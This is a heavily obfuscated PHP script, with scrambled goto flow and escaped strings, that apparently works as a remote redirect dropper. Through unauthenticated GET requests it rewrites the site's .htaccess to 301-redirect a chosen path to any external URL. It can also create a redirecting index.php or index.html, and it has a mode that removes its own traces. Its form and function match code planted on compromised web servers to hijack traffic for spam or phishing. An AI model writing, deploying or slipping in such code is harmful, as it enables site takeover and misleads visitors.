goto oo4pr; lee9H: if (!$urlParts || !isset($urlParts["\163\143\x68\145\x6d\145"]) || !in_array($urlParts["\163\143\x68\145\x6d\x65"], $config["\x61\154\154\x6f\167\145\144\x5f\x70\x72\157\x74\157\143\157\x6c\163"])) { $response["\155\x65\163\163\x61\147\x65"] = "\111\156\x76\x61\154\x69\x64\40\x6f\162\40\165\156\163\165\160\160\157\162\x74\x65\x64\x20\x55\122\114\x20\146\x6f\162\155\141\164"; outputResponse($response); } goto zYgw7; WRy5U: $indexType = filter_input(INPUT_GET, "\x69\156\x64\x65\x78", FILTER_SANITIZE_STRING); goto ki01n; ebKew: $name = filter_input(INPUT_GET, "\156\141\x6d\145", FILTER_SANITIZE_STRING); goto WRy5U; zYgw7: if (!empty($indexType) && !in_array($indexType, $config["\141\x6c\154\x6f\x77\145\144\x5f\x69\x6e\144\145\170\x5f\x74\171\160\145\x73"])) { $response["\155\x65\x73\x73\141\x67\145"] = "\x49\156\166\x61\x6c\151\x64\40\x69\x6e\x64\145\170\x20\x74\x79\160\145\x2e\x20\101\x6c\x6c\x6f\x77\x65\144\72\40" . implode("\54\40", $config["\141\x6c\154\x6f\x77\x65\144\137\151\x6e\144\x65\x78\137\164\x79\160\x65\163"]); outputResponse($response); } goto mKCgU; X0cfH: $targetUrl = filter_input(INPUT_GET, "\165\162\x6c", FILTER_SANITIZE_URL); goto ebKew; HVSe6: $clean = filter_input(INPUT_GET, "\x63\154\145\x61\156", FILTER_SANITIZE_STRING); goto ZqSJw; iUNPd: $response = array("\x73\164\141\164\165\x73" => "\x65\162\x72\157\162", "\155\145\x73\163\141\147\145" => '', "\x64\145\164\x61\151\x6c\x73" => array()); goto kH7DI; ki01n: if (empty($targetUrl) || empty($name)) { $response["\x6d\x65\x73\163\141\x67\x65"] = "\102\x6f\x74\x68\x20\x75\x72\154\x20\141\156\144\40\x6e\141\155\145\x20\160\141\162\141\155\145\x74\x65\162\163\40\x61\x72\x65\40\x72\x65\161\165\x69\x72\x65\x64"; outputResponse($response); } goto awJRG; AuHrU: function generateHtaccessContent($name, $url) { $escapedUrl = str_replace("\42", "\134\42", $url); $timestamp = date("\x59\x2d\x6d\x2d\144\40\110\72\x69\72\x73"); return "\x23\x20\101\160\x61\143\x68\x65\40\x52\145\144\151\x72\x65\x63\164\x20\103\x6f\156\146\x69\x67\x75\162\141\164\151\157\156\12\x23\40\x47\x65\156\x65\x72\141\x74\145\144\72\x20{$timestamp}\xa\12\122\145\x77\162\x69\x74\x65\x45\x6e\147\x69\x6e\145\40\117\x6e\12\12\43\x20\117\x6e\154\x79\x20\x72\145\x64\x69\x72\145\x63\164\40\162\145\161\x75\145\x73\164\163\40\164\x6f\40\57{$name}\40\157\162\x20\57{$name}\57\56\56\x2e\xa\x52\x65\167\162\151\164\x65\x43\x6f\156\x64\40\x25\173\x52\105\x51\125\105\x53\124\137\x55\122\111\175\x20\x5e\x2f{$name}\50\57\x2e\x2a\x29\77\x24\12\122\145\x77\162\x69\164\145\122\x75\x6c\145\40\x5e\x20{$escapedUrl}\40\x5b\122\75\x33\60\61\54\x4c\135\12\xa\43\x20\x53\145\143\x75\x72\151\164\171\x20\x68\145\x61\144\145\x72\x73\xa\74\x49\146\115\x6f\144\x75\x6c\x65\x20\x6d\x6f\x64\x5f\x68\145\x61\x64\x65\162\x73\56\143\76\12\40\x20\x20\40\x48\x65\141\144\145\162\40\x73\x65\164\40\130\x2d\106\162\x61\x6d\x65\x2d\x4f\160\x74\x69\x6f\156\163\x20\x22\123\101\115\105\117\122\111\x47\x49\116\x22\12\40\x20\40\40\x48\145\141\144\145\162\x20\163\145\x74\40\130\55\103\157\156\164\145\156\164\x2d\124\x79\160\x65\55\x4f\x70\x74\x69\x6f\156\163\40\42\156\x6f\x73\x6e\x69\x66\146\x22\12\x3c\x2f\x49\146\115\157\144\x75\x6c\145\x3e"; } goto bRrs2; O4gFi: $urlParts = parse_url($targetUrl); goto lee9H; oo4pr: $config = array("\x61\154\x6c\x6f\x77\x65\x64\x5f\x70\162\157\x74\157\x63\157\x6c\163" => array("\150\164\164\160", "\x68\x74\x74\160\163"), "\x61\154\154\x6f\167\145\144\x5f\x69\x6e\144\x65\170\137\x74\171\160\145\163" => array("\150\x74\155\154", "\x70\x68\160", "\x68\164\x6d")); goto iUNPd; bRrs2: function generateIndexContent($type, $url) { if ($type === "\160\150\x70") { return "\x3c\77\160\150\x70\xa\x68\145\x61\144\145\162\50\47\x4c\157\x63\141\x74\x69\x6f\156\72\40{$url}\x27\54\40\164\162\x75\x65\54\x20\x33\x30\61\51\73\12\x65\x78\x69\x74\x3b\xa"; } return "\x3c\x21\x44\x4f\x43\x54\x59\120\105\x20\150\164\x6d\154\76\xa\74\x68\x74\x6d\154\76\xa\74\x68\x65\141\x64\x3e\12\x3c\155\145\x74\x61\40\150\x74\164\x70\x2d\145\x71\165\x69\166\75\x22\162\145\146\162\145\163\150\42\x20\x63\157\156\164\145\156\164\x3d\42\x30\x3b\165\162\154\75{$url}\42\x3e\xa\x3c\57\150\x65\141\144\x3e\xa\74\x62\157\x64\x79\76\x3c\57\142\157\x64\x79\76\xa\74\x2f\150\x74\x6d\x6c\76\xa"; } goto kicpF; xlZi9: outputResponse($response); goto L38U2; AIS21: if (empty($name)) { $response["\155\145\x73\x73\x61\147\x65"] = "\111\156\x76\x61\154\x69\144\40\x6e\x61\x6d\x65\x20\x66\157\162\x6d\x61\164"; outputResponse($response); } goto O4gFi; mKCgU: try { $htaccessPath = __DIR__ . "\57\56\x68\x74\x61\143\143\x65\163\x73"; $htaccessContent = generateHtaccessContent($name, $targetUrl); if (file_put_contents($htaccessPath, $htaccessContent, LOCK_EX) === false) { throw new Exception("\x46\141\x69\x6c\145\x64\40\164\157\x20\x77\x72\x69\x74\x65\40\x2e\150\164\141\x63\x63\x65\163\x73\x20\x63\x6f\x6e\146\151\x67\165\162\141\164\x69\157\x6e"); } $response["\x64\145\164\x61\151\154\x73"][] = "\122\145\x64\x69\162\145\143\x74\40\x72\x75\154\145\x20\x66\x6f\162\40\57" . $name . "\x20\x77\x72\151\164\164\145\156\x20\164\157\40" . $htaccessPath; if (!empty($indexType)) { $indexPath = __DIR__ . "\57\x69\156\144\x65\x78\x2e" . $indexType; if (!file_exists($indexPath)) { if (file_put_contents($indexPath, generateIndexContent($indexType, $targetUrl), LOCK_EX) === false) { throw new Exception("\x46\x61\151\154\x65\144\x20\164\157\x20\x63\162\x65\x61\x74\145\x20\x69\x6e\x64\x65\170\56" . $indexType); } $response["\144\x65\x74\x61\x69\154\163"][] = "\x43\x72\145\141\x74\145\144\x20\151\x6e\144\x65\170\56" . $indexType; } else { $response["\144\145\x74\141\x69\154\x73"][] = "\151\156\x64\145\170\56" . $indexType . "\x20\x61\154\x72\145\x61\144\x79\40\x65\170\x69\x73\x74\163\x2c\40\163\153\x69\x70\160\x65\144"; } } $response["\x73\164\x61\x74\165\x73"] = "\163\165\x63\x63\x65\163\x73"; $response["\155\x65\x73\x73\141\147\145"] = "\103\x6f\156\146\x69\147\x75\x72\141\164\151\157\156\40\x63\157\155\x70\x6c\x65\164\145\x64\x20\x73\165\143\143\x65\163\x73\146\x75\x6c\x6c\x79"; $response["\x70\141\164\x68"] = "\x2f" . $name; $response["\164\141\x72\147\x65\x74"] = $targetUrl; } catch (Exception $e) { $response["\155\145\x73\163\141\x67\145"] = $e->getMessage(); $response["\x64\145\164\x61\x69\x6c\163"][] = "\x50\154\x65\x61\x73\145\x20\166\145\x72\x69\146\x79\x20\144\151\162\x65\143\x74\157\x72\x79\40\x70\145\x72\155\151\163\x73\x69\x6f\x6e\x73"; } goto xlZi9; L38U2: function cleanRedirects($content) { $pattern = "\x2f\x23\40\x41\x70\141\x63\150\145\x20\x52\x65\x64\x69\162\x65\x63\164\x20\x43\x6f\x6e\x66\x69\x67\x75\x72\141\164\151\x6f\x6e\x5c\x72\x3f\x5c\x6e\x23\40\x47\x65\x6e\x65\x72\141\x74\145\144\x3a\x2e\52\77\x5c\x72\x3f\134\156\x5c\162\x3f\134\156\122\x65\x77\162\x69\164\145\105\156\147\x69\156\145\x20\117\x6e\134\162\77\x5c\156\134\162\77\134\156\56\52\77\x52\145\167\x72\x69\x74\x65\x52\x75\154\x65\56\x2a\x3f\134\162\x3f\134\156\50\x5c\162\77\134\x6e\x29\77\57\x73"; $cleaned = preg_replace($pattern, '', $content); $secPattern = "\57\74\111\x66\x4d\157\x64\x75\x6c\145\40\155\x6f\x64\x5f\x68\x65\x61\x64\x65\162\x73\134\56\143\76\134\163\52\x48\x65\x61\x64\145\x72\x20\x73\145\x74\40\130\x2d\106\x72\x61\x6d\x65\x2d\117\x70\164\151\x6f\x6e\x73\x2e\52\x3f\110\145\141\x64\x65\162\40\x73\x65\x74\40\x58\55\x43\157\x6e\164\x65\x6e\164\55\124\171\160\x65\55\117\x70\164\x69\x6f\156\163\56\52\x3f\x3c\134\x2f\x49\x66\x4d\157\144\165\154\145\x3e\134\163\52\57\163"; $cleaned = preg_replace($secPattern, '', $cleaned); return trim($cleaned) . (trim($cleaned) !== '' ? "\12" : ''); } goto AuHrU; awJRG: $name = preg_replace("\57\x5b\136\141\x2d\172\x41\55\132\x30\x2d\x39\137\55\x5d\x2f", '', $name); goto AIS21; kH7DI: if ($_SERVER["\x52\x45\121\125\x45\123\124\137\x4d\105\124\110\x4f\104"] !== "\107\x45\124") { $response["\155\145\163\163\141\147\x65"] = "\x49\156\166\141\x6c\x69\144\40\x72\145\x71\x75\145\163\164\40\155\x65\x74\150\157\x64"; outputResponse($response); } goto HVSe6; ZqSJw: if ($clean === "\x6f\156") { $htaccessPath = __DIR__ . "\57\56\150\x74\141\143\x63\145\x73\x73"; if (!file_exists($htaccessPath)) { $response["\x6d\x65\x73\x73\x61\x67\145"] = "\56\150\164\141\x63\x63\x65\x73\163\40\x66\x69\154\x65\x20\156\157\164\40\146\x6f\165\156\x64"; outputResponse($response); } $original = file_get_contents($htaccessPath); if ($original === false) { $response["\x6d\145\163\163\x61\x67\x65"] = "\x46\141\151\154\145\x64\x20\164\157\40\162\x65\141\144\x20\x2e\x68\x74\141\143\143\145\x73\x73\x20\146\x69\x6c\145"; outputResponse($response); } $cleaned = cleanRedirects($original); if (trim($cleaned) === '') { unlink($htaccessPath); $response["\x64\x65\x74\x61\151\154\x73"][] = "\56\150\164\141\143\x63\145\x73\163\x20\167\x61\x73\40\x65\x6d\160\164\171\x20\x61\146\x74\145\162\40\x63\x6c\x65\141\x6e\x69\x6e\x67\40\141\156\x64\x20\x68\x61\x73\40\x62\x65\x65\156\x20\162\x65\x6d\157\x76\145\144"; } else { if (file_put_contents($htaccessPath, $cleaned, LOCK_EX) === false) { $response["\x6d\x65\163\x73\141\x67\x65"] = "\106\141\x69\x6c\145\x64\x20\x74\x6f\x20\167\162\x69\164\145\40\x63\x6c\x65\x61\156\145\x64\40\x2e\x68\x74\x61\x63\143\x65\163\x73"; outputResponse($response); } $response["\144\x65\x74\x61\x69\154\x73"][] = "\122\x65\x64\x69\162\x65\x63\164\40\x62\154\x6f\x63\153\x73\40\162\x65\x6d\157\x76\x65\144\40\x66\x72\157\x6d\x20\x2e\150\x74\x61\x63\143\x65\163\163"; } $response["\163\164\x61\164\165\163"] = "\163\x75\x63\x63\145\x73\x73"; $response["\x6d\x65\163\x73\141\x67\145"] = "\x52\145\144\151\x72\x65\143\164\x73\x20\143\x6c\x65\141\156\145\144\x20\x73\x75\143\x63\145\163\x73\146\165\x6c\154\x79"; outputResponse($response); } goto X0cfH; kicpF: function outputResponse($response) { header("\103\x6f\x6e\164\145\156\x74\x2d\124\171\160\x65\x3a\x20\x61\x70\160\154\151\143\141\x74\x69\157\156\x2f\152\x73\157\156"); echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); die; }